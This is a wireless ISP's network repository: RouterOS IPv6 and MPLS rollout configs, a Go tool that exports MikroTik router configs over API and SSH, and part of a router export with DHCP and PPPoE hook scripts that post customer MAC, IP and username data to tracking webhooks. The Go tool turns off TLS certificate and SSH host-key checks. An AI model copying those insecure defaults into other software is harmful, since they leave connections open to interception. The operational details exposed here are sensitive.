add name=default-v3 router-id=10.254.254.110 redistribute-connected=as-type-1
/routing ospf-v3 interface
add area=backbone interface=lo passive=yes
add area=backbone interface=ether7-380 network-type=point-to-point
/routing bgp peer
add address-families=ipv6 name=ibgp-edge \
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
update-source=lo multihop=yes
/routing bgp network
add network=2606:1c80:1300::/44 synchronize=no
```
### culleoka — APPLY
```rsc
/ipv6 address
add address=2606:1c80:0:10::104/128 interface=lo advertise=no
add address=2606:1c80:0:15::2/127 interface=ether6-380-11ghz
add address=2606:1c80:0:21::2/127 interface=ether1-climax-11ghz
add address=2606:1c80:1600::1/64 interface=mgmt ;; culleoka mgmt LAN
/ipv6 pool
add name=culleoka-cust-pd-1 prefix=2606:1c80:1601::/48 prefix-length=56
/ppp profile
set [find name=pppoe] remote-ipv6-prefix-pool=culleoka-cust-pd-1 \
dhcpv6-pd-pool=culleoka-cust-pd-1
/routing ospf-v3 instance
add name=default-v3 router-id=10.254.254.104 redistribute-connected=as-type-1
/routing ospf-v3 interface
add area=backbone interface=lo passive=yes
add area=backbone interface=ether6-380-11ghz network-type=point-to-point
add area=backbone interface=ether1-climax-11ghz network-type=point-to-point
/routing bgp peer
add address-families=ipv6 name=ibgp-edge \
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
update-source=lo multihop=yes
/routing bgp network
add network=2606:1c80:1600::/44 synchronize=no
```
### newhope — APPLY
```rsc
/ipv6 address
add address=2606:1c80:0:10::108/128 interface=lo advertise=no
add address=2606:1c80:0:13::2/127 interface=ether2-380
add address=2606:1c80:0:18::1/127 interface=ether6-lowrycrossing
add address=2606:1c80:1800::1/64 interface=newhope ;; newhope mgmt LAN
/ipv6 pool
add name=newhope-cust-pd-1 prefix=2606:1c80:1801::/48 prefix-length=56
/ppp profile
set [find name=newhope] remote-ipv6-prefix-pool=newhope-cust-pd-1 \
dhcpv6-pd-pool=newhope-cust-pd-1
/routing ospf-v3 instance
add name=default-v3 router-id=10.254.254.108 redistribute-connected=as-type-1
/routing ospf-v3 interface
add area=backbone interface=lo passive=yes
add area=backbone interface=ether2-380 network-type=point-to-point
add area=backbone interface=ether6-lowrycrossing network-type=point-to-point
/routing bgp peer
add address-families=ipv6 name=ibgp-edge \
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
update-source=lo multihop=yes
/routing bgp network
add network=2606:1c80:1800::/44 synchronize=no
```
### lowry — APPLY
```rsc
/ipv6 address
add address=2606:1c80:0:10::109/128 interface=lo advertise=no
add address=2606:1c80:0:18::2/127 interface=ether1-newhope
add address=2606:1c80:1900::1/64 interface=lowrycrossing ;; lowry mgmt LAN
/ipv6 pool
add name=lowry-cust-pd-1 prefix=2606:1c80:1901::/48 prefix-length=56
/ppp profile
set [find name=pppoe] remote-ipv6-prefix-pool=lowry-cust-pd-1 \
dhcpv6-pd-pool=lowry-cust-pd-1
/routing ospf-v3 instance
add name=default-v3 router-id=10.254.254.109 redistribute-connected=as-type-1
/routing ospf-v3 interface
add area=backbone interface=lo passive=yes
add area=backbone interface=ether1-newhope network-type=point-to-point
/routing bgp peer
add address-families=ipv6 name=ibgp-edge \
remote-address=2606:1c80:0:10::254 remote-as=<your-ASN> \
update-source=lo multihop=yes
/routing bgp network
add network=2606:1c80:1900::/44 synchronize=no
```
### Final verification (run from any tower after all APPLY blocks)
```rsc
:put [/ipv6 address print]
:put [/ipv6 route print where active]
:put [/routing ospf-v3 neighbor print]
:put [/routing bgp peer print where remote-address~"2606:1c80"]
/ping 2606:1c80:0:10::254 count=3 ;; edge loopback (target of all iBGP)
/ping 2606:1c80::20 count=3 ;; primary DNS in the new server LAN
/ping 2606:4700:4700::1111 count=3 ;; Cloudflare end-to-end
```

1379
mikrotik-tool/lowry.rsc Normal file

File diff suppressed because it is too large Load diff

395
mikrotik-tool/main.go Normal file
View file

@ -0,0 +1,395 @@
// mikrotik-tool: connect to MikroTik routers listed in a YAML config and
// run various operations against them.
//
// Usage:
//
// mikrotik-tool [-c routers.yaml] <command> [args]
//
// Commands:
//
// list Print routers from the config.
// export For each router: log in over API-SSL, ask /ip/service for the SSH
// port, then SSH in, run "/export", and save stdout to <name>.rsc
// in the current working directory.
// inventory Walk every router, pull /ip/address, /ip/arp, /ip/pool, and
// /ip/neighbor, SNMP-probe each candidate access point and backhaul
// radio for sysName, and re-render inventory.yaml in place.
// Customer-side equipment (anything in a *-cpe / cgnat pool, or
// anything LLDP-tagged as wlan-ap / station-only) is excluded.
// Tower switches discovered via LLDP/CDP land under `switches:`.
package main
import (
"bytes"
"crypto/tls"
"fmt"
"log"
"net"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
"time"
"github.com/go-routeros/routeros/v3"
"golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/agent"
"gopkg.in/yaml.v3"
)
type Defaults struct {
Username string `yaml:"username"`
Password string `yaml:"password"`
Port int `yaml:"port"`
}
type Router struct {
Name string `yaml:"name"`
Host string `yaml:"host"`
Username string `yaml:"username,omitempty"`
Password string `yaml:"password,omitempty"`
Port int `yaml:"port,omitempty"`
}
type Config struct {
Defaults Defaults `yaml:"defaults"`
Routers []Router `yaml:"routers"`
}
func loadConfig(path string) (*Config, error) {
data, err := os.ReadFile(path)
if err != nil {
return nil, fmt.Errorf("read %s: %w", path, err)
}
var c Config
if err := yaml.Unmarshal(data, &c); err != nil {
return nil, fmt.Errorf("parse %s: %w", path, err)
}
return &c, nil
}
// resolve fills in any router-level fields from the defaults block.
func (c *Config) resolve(r Router) Router {
if r.Username == "" {
r.Username = c.Defaults.Username
}
if r.Password == "" {
r.Password = c.Defaults.Password
}
if r.Port == 0 {
r.Port = c.Defaults.Port
}
if r.Port == 0 {
r.Port = 8729 // MikroTik API-SSL default
}
return r
}
// dialAPI opens an API-SSL connection (port 8729) and logs in.
// MikroTik routers typically present a self-signed cert, so we skip verification.
func dialAPI(r Router) (*routeros.Client, error) {
addr := net.JoinHostPort(r.Host, strconv.Itoa(r.Port))
tlsCfg := &tls.Config{InsecureSkipVerify: true}
conn, err := tls.DialWithDialer(&net.Dialer{Timeout: 15 * time.Second}, "tcp", addr, tlsCfg)
if err != nil {
return nil, fmt.Errorf("tls dial %s: %w", addr, err)
}
c, err := routeros.NewClient(conn)
if err != nil {
conn.Close()
return nil, fmt.Errorf("new client: %w", err)
}
if err := c.Login(r.Username, r.Password); err != nil {
c.Close()
return nil, fmt.Errorf("login: %w", err)
}
return c, nil
}
// lookupSSHPort asks /ip/service which port the ssh service is bound to and
// whether it's enabled. Returns the port, or an error if the service is
// disabled or absent.
func lookupSSHPort(c *routeros.Client) (int, error) {
rep, err := c.RunArgs([]string{
"/ip/service/print",
"?name=ssh",
"=.proplist=name,port,disabled",
})
if err != nil {
return 0, fmt.Errorf("/ip/service/print: %w", err)
}
if len(rep.Re) == 0 {
return 0, fmt.Errorf("ssh service not present in /ip/service")
}
row := rep.Re[0].Map
if row["disabled"] == "true" {
return 0, fmt.Errorf("ssh service is disabled on this router")
}
port, err := strconv.Atoi(row["port"])
if err != nil {
return 0, fmt.Errorf("ssh port %q is not numeric: %w", row["port"], err)
}
return port, nil
}
// sshAuthMethods builds the auth method list, in preference order:
// - SSH agent (if SSH_AUTH_SOCK is set), so a router that has the user's
// pubkey installed and password auth disabled still works
// - on-disk identity files (~/.ssh/id_ed25519, id_rsa, id_ecdsa)
// - password from the YAML config
// - keyboard-interactive replaying the same password
func sshAuthMethods(password string) []ssh.AuthMethod {
var methods []ssh.AuthMethod
if sock := os.Getenv("SSH_AUTH_SOCK"); sock != "" {
if conn, err := net.Dial("unix", sock); err == nil {
ag := agent.NewClient(conn)
// Only register the agent if it actually holds keys. An empty
// agent still counts as a failed publickey attempt against
// servers like RouterOS that limit retries, which then blocks
// the on-disk key auth that follows.
if signers, err := ag.Signers(); err == nil && len(signers) > 0 {
methods = append(methods, ssh.PublicKeys(signers...))
}
}
}
if home, err := os.UserHomeDir(); err == nil {
var signers []ssh.Signer
for _, name := range []string{"id_ed25519", "id_rsa", "id_ecdsa"} {
data, err := os.ReadFile(filepath.Join(home, ".ssh", name))
if err != nil {
continue
}
signer, err := ssh.ParsePrivateKey(data)
if err != nil {
continue
}
signers = append(signers, signer)
}
if len(signers) > 0 {
methods = append(methods, ssh.PublicKeys(signers...))
}
}
methods = append(methods, ssh.Password(password))
methods = append(methods, ssh.KeyboardInteractive(func(_, _ string, questions []string, _ []bool) ([]string, error) {
answers := make([]string, len(questions))
for i := range questions {
answers[i] = password
}
return answers, nil
}))
return methods
}
// runOverSSH opens an SSH connection to host:port, runs cmd non-interactively,
// and returns whatever the router wrote to stdout.
func runOverSSH(r Router, sshPort int, cmd string) ([]byte, error) {
addr := net.JoinHostPort(r.Host, strconv.Itoa(sshPort))
// Some RouterOS boxes (notably the edge router) only offer
// diffie-hellman-group-exchange-sha256 for KEX, which x/crypto/ssh keeps
// out of its defaults. Opt back in by appending it to the supported list.
algos := ssh.SupportedAlgorithms()
kex := append(algos.KeyExchanges, ssh.KeyExchangeDHGEXSHA256)
var banner string
cfg := &ssh.ClientConfig{
Config: ssh.Config{KeyExchanges: kex},
User: r.Username,
Auth: sshAuthMethods(r.Password),
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
BannerCallback: func(msg string) error {
banner = msg
return nil
},
Timeout: 15 * time.Second,
}
client, err := ssh.Dial("tcp", addr, cfg)
if err != nil {
if banner != "" {
return nil, fmt.Errorf("ssh dial %s: %w (server banner: %q)", addr, err, banner)
}
return nil, fmt.Errorf("ssh dial %s: %w", addr, err)
}
defer client.Close()
session, err := client.NewSession()
if err != nil {
return nil, fmt.Errorf("ssh session: %w", err)
}
defer session.Close()
var stdout, stderr bytes.Buffer
session.Stdout = &stdout
session.Stderr = &stderr
if err := session.Run(cmd); err != nil {
return nil, fmt.Errorf("ssh run %q: %w (stderr: %s)", cmd, err, stderr.String())
}
return stdout.Bytes(), nil
}
// exportRouter logs in over the API to discover the SSH port, then SSHes in
// and runs "/export", writing stdout to <name>.rsc locally.
func exportRouter(cfg *Config, r Router) error {
r = cfg.resolve(r)
if r.Host == "" || r.Name == "" {
return fmt.Errorf("router needs both name and host")
}
log.Printf("[%s] api %s@%s:%d", r.Name, r.Username, r.Host, r.Port)
api, err := dialAPI(r)
if err != nil {
return err
}
sshPort, err := lookupSSHPort(api)
api.Close()
if err != nil {
return err
}
log.Printf("[%s] ssh %s:%d /export", r.Name, r.Host, sshPort)
body, err := runOverSSH(r, sshPort, "/export")
if err != nil {
return err
}
if len(body) == 0 {
return fmt.Errorf("/export returned no output")
}
out := r.Name + ".rsc"
if err := os.WriteFile(out, body, 0o644); err != nil {
return err
}
log.Printf("[%s] wrote %s (%d bytes)", r.Name, out, len(body))
return nil
}
func runExport(cfg *Config) {
var wg sync.WaitGroup
for _, r := range cfg.Routers {
wg.Add(1)
go func(r Router) {
defer wg.Done()
if err := exportRouter(cfg, r); err != nil {
log.Printf("[%s] ERROR: %v", r.Name, err)
}
}(r)
}
wg.Wait()
}
// runAPI logs into one router by name and runs an arbitrary API command,
// printing the rows returned. Useful for ad-hoc lookups (`arp culleoka`).
func runAPI(cfg *Config, routerName string, apiArgs []string) {
var target *Router
for i := range cfg.Routers {
if cfg.Routers[i].Name == routerName {
r := cfg.Routers[i]
target = &r
break
}
}
if target == nil {
log.Fatalf("no router named %q in config", routerName)
}
r := cfg.resolve(*target)
c, err := dialAPI(r)
if err != nil {
log.Fatalf("[%s] %v", r.Name, err)
}
defer c.Close()
rep, err := c.RunArgs(apiArgs)
if err != nil {
log.Fatalf("[%s] %v: %v", r.Name, apiArgs, err)
}
for _, row := range rep.Re {
var keys []string
for k := range row.Map {
keys = append(keys, k)
}
sort.Strings(keys)
var parts []string
for _, k := range keys {
parts = append(parts, fmt.Sprintf("%s=%s", k, row.Map[k]))
}
fmt.Println(strings.Join(parts, " "))
}
}
func runList(cfg *Config) {
for _, r := range cfg.Routers {
r2 := cfg.resolve(r)
fmt.Printf("%-20s %s:%d user=%s\n", r2.Name, r2.Host, r2.Port, r2.Username)
}
}
func usage() {
fmt.Fprintln(os.Stderr, `usage: mikrotik-tool [-c routers.yaml] <command>
commands:
list show routers loaded from the config
export ssh to each router, run "/export", save stdout to <name>.rsc locally
inventory discover access points, backhaul radios, and tower switches across
every router (skipping customer equipment) and re-render
inventory.yaml in place`)
os.Exit(2)
}
func main() {
log.SetFlags(log.Ltime)
cfgPath := "routers.yaml"
args := os.Args[1:]
for i := 0; i < len(args); i++ {
switch args[i] {
case "-c", "--config":
if i+1 >= len(args) {
usage()
}
cfgPath = args[i+1]
args = append(args[:i], args[i+2:]...)
i--
case "-h", "--help":
usage()
}
}
if len(args) == 0 {
usage()
}
cfg, err := loadConfig(cfgPath)
if err != nil {
log.Fatal(err)
}
if len(cfg.Routers) == 0 {
log.Fatalf("no routers in %s", cfgPath)
}
switch args[0] {
case "list":
runList(cfg)
case "export":
runExport(cfg)
case "inventory":
runInventory(cfg)
case "api":
if len(args) < 3 {
fmt.Fprintln(os.Stderr, "usage: mikrotik-tool api <router> <api-path> [k=v ...]")
os.Exit(2)
}
runAPI(cfg, args[1], args[2:])
default:
fmt.Fprintf(os.Stderr, "unknown command: %s\n", args[0])
usage()
}
}

BIN
mikrotik-tool/mikrotik-tool Executable file

Binary file not shown.

213
mikrotik-tool/mpls.md Normal file
View file

@ -0,0 +1,213 @@
# MPLS / LDP enablement: verona ↔ climax ↔ core
Goal: bring up MPLS forwarding with LDP across the veronaclimaxcore spine
on RouterOS 7, leaving the rest of the network untouched. Once these three
are running labeled forwarding, expanding to other PoPs is incremental
(add the LDP instance + interface on each new router).
## Topology being labeled
```
verona (10.254.254.101)
└── ether3-climax-11ghz 10.250.1.25/29 ──┐
│ 10.250.1.24/29 (AF11 backhaul)
┌── ether6-verona-11ghz 10.250.1.30/29 ──┘
climax (10.254.254.102)
└── ether4-380-airfiber24 10.250.1.94/29 ──┐
│ 10.250.1.88/29 (AF24 backhaul)
┌── ether5-climax 10.250.1.89/29 ─┘
core (10.254.254.253)
```
OSPFv2 (`backbone-v2`, area 0) already redistributes connected, so all three
loopbacks are reachable. That is the IGP we attach LDP to. Nothing else
changes.
RouterOS versions in play: verona 7.20.8, climax 7.22, core 7.20.6 — all
include MPLS in the system package, no extra `.npk` to install.
## Pre-flight (run on each of the three before configuring)
```
# OSPF must be up and loopbacks reachable end-to-end.
/routing ospf neighbor print
/ip route print where dst-address~"10.254.254.10[12]/32" or dst-address~"10.254.254.253/32"
# Confirm the underlay MTU on the AF11 / AF24 ports — MPLS adds 4 bytes per
# label, so we want headroom. Check both physical (l2mtu) and IP MTU:
/interface print detail where name~"ether3-climax-11ghz|ether6-verona-11ghz|ether4-380-airfiber|ether5-climax"
```
Expected: l2mtu ≥ 1600 on the AF radios (default on CCR ports). If
anything is at 1500 we'll bump `mpls-mtu` to 1500 explicitly so we never
generate a 1504-byte frame the radio drops.
## Step 1 — verona (10.254.254.101)
```
# LDP instance, lsr-id and transport address pinned to the loopback.
/mpls ldp
add disabled=no lsr-id=10.254.254.101 transport-addresses=10.254.254.101 vrf=main
# Enable LDP discovery on the climax-facing link only.
/mpls ldp interface
add interface=ether3-climax-11ghz
# Pin the MPLS MTU explicitly. mpls-mtu is the cap on the *labeled* frame,
# so a 1500-byte IP payload + 4-byte label = 1504 needs at least 1508 to
# pass; 1508 also leaves room for one extra stacked label (VPN/FRR/etc.).
/mpls interface
add interface=ether3-climax-11ghz mpls-mtu=1508
```
## Step 2 — climax (10.254.254.102)
```
/mpls ldp
add disabled=no lsr-id=10.254.254.102 transport-addresses=10.254.254.102 vrf=main
/mpls ldp interface
add interface=ether6-verona-11ghz
add interface=ether4-380-airfiber24
/mpls interface
add interface=ether6-verona-11ghz mpls-mtu=1508
add interface=ether4-380-airfiber24 mpls-mtu=1508
```
## Step 3 — core (10.254.254.253)
```
/mpls ldp
add disabled=no lsr-id=10.254.254.253 transport-addresses=10.254.254.253 vrf=main
/mpls ldp interface
add interface=ether5-climax
/mpls interface
add interface=ether5-climax mpls-mtu=1508
```
Order doesn't matter — LDP discovery is symmetric. As soon as both ends of
a link have `/mpls ldp interface` populated, hellos start flowing on
224.0.0.2:646 and a TCP session forms between the two transport addresses.
## Verification (the actually-works part)
### A. Control plane: LDP adjacencies
Run on **each** router:
```
/mpls ldp neighbor print detail
```
Required state:
- `peer=` lists the neighbor's lsr-id (a loopback IP),
- `transport=` is the neighbor's loopback IP,
- flag column shows `O` (operational); `D` (dynamic) is fine — `nD` (not
discovered) or missing entries means hellos aren't reaching the far side
(firewall, wrong interface, MTU).
Expected counts:
| Router | LDP neighbors |
|--------|---------------|
| verona | 1 (climax) |
| climax | 2 (verona, core) |
| core | 1 (climax) |
### B. Control plane: label bindings exist for the remote loopbacks
```
/mpls ldp local-binding print where dst-address~"10.254.254.(101|102|253)/32"
/mpls ldp remote-binding print where dst-address~"10.254.254.(101|102|253)/32"
```
Each router should advertise an `implicit-null` (or label 3) for its own
loopback in `local-binding`, and learn labels for the two other loopbacks
in `remote-binding`.
### C. Forwarding plane: FIB has the labels
```
/mpls forwarding-table print
```
You should see entries with `out-label`, `out-interface`, and `nexthop`
matching the OSPF next-hop toward each remote loopback. On climax you'll
see two entries — one swapping toward verona, one toward core. On verona
and core you'll see one entry for each remote loopback (the second loopback
is reached via climax with stacked labels collapsing to a single label
because we have only three nodes).
### D. Data plane: traceroute prints labels
From **verona**, source-routed off the loopback:
```
/tool traceroute 10.254.254.253 src-address=10.254.254.101 count=3
```
A working MPLS path prints `MPLS Label=NNNN E=0 ...` on the first hop
(climax) — that is the smoking gun. Without MPLS the same traceroute
succeeds but no `MPLS Label=` field appears.
Repeat from **core** in the other direction:
```
/tool traceroute 10.254.254.101 src-address=10.254.254.253 count=3
```
### E. Data plane: MTU check
We pinned `mpls-mtu=1508` — verify a full-size packet still passes once
labeled (1500 IP + 4 label = 1504 on the wire, well below both the 1508
cap and the radio l2mtu of 2024):
```
# from verona, send 1500-byte ICMP DF=yes to core's loopback
/ping 10.254.254.253 src-address=10.254.254.101 size=1500 do-not-fragment count=5
```
100% return = path is large enough for label + 1500 payload. Any loss
means the labeled frame (1504 bytes) doesn't fit somewhere — most likely
an l2mtu issue on a backhaul radio. Either bump l2mtu on the radio side,
or *raise* `mpls-mtu` if you increased the IP MTU. **Do not lower
`mpls-mtu` below 1508** — that caps the labeled frame and will cause
ICMP-frag-needed for ordinary 1500-byte DF customer traffic.
## Rollback (per router)
If anything misbehaves, MPLS is purely additive — removing the two tables
returns the box to plain IP forwarding. OSPF is untouched.
```
/mpls ldp interface remove [find]
/mpls ldp remove [find]
# leave /mpls interface mpls-mtu settings as-is; harmless without LDP.
```
## Notes & caveats
- **Don't enable LDP on customer-facing or CGNAT interfaces.** Only the
three backbone ports listed above. LDP advertised onto a customer port
would expose label bindings to anyone who joined the broadcast domain.
- **No BGP-LU, no L3VPN, no TE yet.** This is plain IPv4 LDP only — the
point is to get labeled IGP forwarding working between these three
before layering services on top.
- **iBGP next-hop-self is not required** for this phase because we have no
BGP-painted services riding the LSPs yet. When that changes (e.g.,
bringing public /24s in over iBGP), confirm next-hop-self on the
ingress LSR so labeled paths terminate at a router with an LSP.
- **OSPFv3 / IPv6 LDP is intentionally out of scope.** RouterOS 7 LDP is
IPv4-only; v6 transport would need MPLSv6 / 6PE which we are not
setting up here.
- **BFD on the AF radios** (already enabled on the veronaclimax and
climaxcore OSPF templates with `use-bfd=yes`) is what fast-fails the
underlay; LDP itself follows OSPF and tears down accordingly.
- **Expanding to other PoPs:** repeat steps 13 on the new router with
its loopback as `lsr-id`/`transport-addresses`, then add `/mpls ldp
interface` on the link to whichever existing MPLS router it peers with.
No flag day.

645
mikrotik-tool/newhope.rsc Normal file
View file

@ -0,0 +1,645 @@
# 2026-05-08 17:46:02 by RouterOS 7.21.4
# software id = 5HTF-YFWV
#
# model = CCR1009-7G-1C-1S+
# serial number = 6F5006EA1923
/interface bridge
add name=bridge_cpe_mgmt port-cost-mode=short
add name=newhope port-cost-mode=short
/interface ethernet
set [ find default-name=combo1 ] l2mtu=9000 rx-flow-control=auto \
tx-flow-control=auto
set [ find default-name=ether1 ] l2mtu=9000 rx-flow-control=auto \
tx-flow-control=auto
set [ find default-name=ether2 ] l2mtu=9000 name=ether2-380 rx-flow-control=\
auto tx-flow-control=auto
set [ find default-name=ether3 ] disabled=yes l2mtu=2024 name=\
ether3-lowrycrossing-old rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether4 ] disabled=yes l2mtu=2024 rx-flow-control=auto \
tx-flow-control=auto
set [ find default-name=ether5 ] l2mtu=9000 name=ether5-switch \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether6 ] l2mtu=9000 name=ether6-lowrycrossing \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=ether7 ] l2mtu=9000 name=ether7-tower \
rx-flow-control=auto tx-flow-control=auto
set [ find default-name=sfp-sfpplus1 ] l2mtu=9000 loop-protect=off name=\
sfp-sfpplus1-edgepoint rx-flow-control=auto tx-flow-control=auto
/interface vlan
add interface=ether5-switch name=mgmt_ether5 vlan-id=10
add interface=sfp-sfpplus1-edgepoint name=mgmt_sfp+ vlan-id=10
/interface lte apn
set [ find default=yes ] ip-type=ipv4 use-network-apn=no
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip hotspot profile
add dns-name=newhope.vntx.net hotspot-address=100.64.19.254 login-by=\
mac,http-chap mac-auth-mode=mac-as-username-and-password name=hsprof1 \
use-radius=yes
/ip hotspot
add addresses-per-mac=unlimited idle-timeout=none interface=\
sfp-sfpplus1-edgepoint name=hotspot1 profile=hsprof1
/ip hotspot user profile
set [ find default=yes ] add-mac-cookie=no on-logout="/ip hotspot host remove \
[find where address=\94\$address\94 and !authorized and !bypassed]" \
session-timeout=1h shared-users=2
/ip ipsec proposal
set [ find default=yes ] auth-algorithms=sha256 enc-algorithms=\
aes-256-cbc,aes-128-cbc pfs-group=modp2048
/ip pool
add name=dhcp_pool1 ranges=10.100.128.1-10.100.142.254
add name=dhcp_pool2 ranges=172.16.128.1-172.16.143.253
add name=dhcp_pool3 ranges=10.10.128.1-10.10.142.253
add name=cgnat ranges=100.64.19.1-100.64.19.249
add name=public-temp ranges=204.110.189.1-204.110.189.125
add name=cgnat-full ranges=100.64.16.1-100.64.19.249
add name=dhcp_pool6 ranges=10.0.108.1-10.0.108.249
/ip dhcp-server
add address-pool=dhcp_pool3 interface=bridge_cpe_mgmt lease-script="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/cd\
c24944-c947-4e01-9c54-07a1653d2e3e\"\
\n:local url2 \"https://iptrack.vntx.net/api/dhcp\"\
\n:local max 1\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n :if (\$leaseBound = 0) do {\
\n # Try url2 (iptrack.vntx.net) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP deassignment successfully sent to iptrack.vntx.ne\
t for \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to iptrack.vntx.net \
on attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n # Try url (gaiia) - deassignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP deassignment successfully sent to gaiia AWS API f\
or \$leaseActMAC / \$leaseActIP\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send deassignment to gaiia AWS API on \
attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 3s;\
\n }\
\n } else {\
\n :delay 1s;\
\n :local remoteID [/ip dhcp-server lease get [find where address=\$lea\
seActIP] agent-remote-id];\
\n\
\n # Try url2 (iptrack.vntx.net) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=pos\
t http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success1 1;\
\n :log info \"DHCP assignment successfully sent to iptrack.vntx.net \
for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to iptrack.vntx.net on\
\_attempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\"\
;\
\n }\
\n\
\n # Try url (gaiia) - assignment\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post\
\_http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bo\
und\\\":\\\"\$leaseBound\\\",\\\"mac\\\":\\\"\$leaseActMAC\\\",\\\"ip\\\":\
\\\"\$leaseActIP\\\",\\\"server\\\":\\\"\$leaseServerName\\\",\\\"remoteId\
\\\":\\\"\$remoteID\\\"}\"\
\n :set success2 1;\
\n :log info \"DHCP assignment successfully sent to gaiia AWS API for\
\_\$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n } on-error={\
\n :log error \"DHCP FAILED to send assignment to gaiia AWS API on at\
tempt \$attempts/\$max for \$leaseActMAC / \$leaseActIP / \$remoteID\";\
\n }\
\n\
\n :if (\$success1 != 1 || \$success2 != 1) do={\
\n :delay 30s;\
\n }\
\n }\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" lease-time=1h name=management
add address-pool=dhcp_pool6 interface=ether7-tower lease-time=1h name=\
newhope-tower
/ip smb users
set [ find default=yes ] disabled=yes
/ipv6 pool
add name=newhope-v6 prefix=2606:1c80:1:5000::/52 prefix-length=64
/ppp profile
set *0 remote-address=dhcp_pool3
add change-tcp-mss=yes dns-server=204.110.191.240,204.110.191.20 \
local-address=100.64.19.253 name=newhope on-down="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 1\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
\n:local success1 0\
\n:local success2 0\
\n:do {\
\n :set attempts (\$attempts+1);\
\n\
\n # Try url2 (iptrack.vntx.net)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url2\" http-method=post \
http-header-field=\"Content-Type: application/json\" http-data=\"{\\\"boun\
d\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\
\\\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success1 1;\
\n :log info \"PPPoE deassignment successfully sent to iptrack.vntx.net\
\_for \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoE FAILED to send deassignment to iptrack.vntx.net o\
n attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n # Try url (AWS API)\
\n :do {\
\n /tool fetch duration=30s mode=https url=\"\$url\" http-method=post h\
ttp-header-field=\"Content-Type: application/json\" http-data=\"{\\\"bound\
\\\":\\\"0\\\",\\\"username\\\":\\\"\$user\\\",\\\"callingstationid\\\":\\\
\"\$callerId\\\",\\\"framedip\\\":\\\"\$remoteAddr\\\"}\"\
\n :set success2 1;\
\n :log info \"PPPoE deassignment successfully sent to gaiia AWS API fo\
r \$user / \$remoteAddr\";\
\n } on-error={\
\n :log error \"PPPoPoE FAILED to send deassignment to gaiia AWS API on\
\_attempt \$attempts out of \$max for \$user / \$remoteAddr\";\
\n }\
\n\
\n :if (\$success1 = 1 && \$success2 = 1) do {\
\n :set attempts \$max;\
\n } else {\
\n :delay 3s;\
\n }\
\n} while ( \$attempts < \$max )\
\n}\
\n" on-up="{\
\n:local url \"https://xtjlpnubrg.execute-api.us-east-1.amazonaws.com/prod\
uction/on-start-workflow-execution/6f19a48f-04f7-40c1-a4e0-8cb66df99213/0a\
7f4443-fc8a-4fe0-807c-f535d2aa1865\"\
\n:local url2 \"https://iptrack.vntx.net/api/pppoe\"\
\n:local max 5\
\n\
\n:local localAddr \$\"local-address\"\
\n:local remoteAddr \$\"remote-address\"\
\n:local callerId \$\"caller-id\"\
\n:local calledId \$\"called-id\"\
\n:local interfaceName [/interface get \$interface name]\
\n\
\n:local attempts 0\
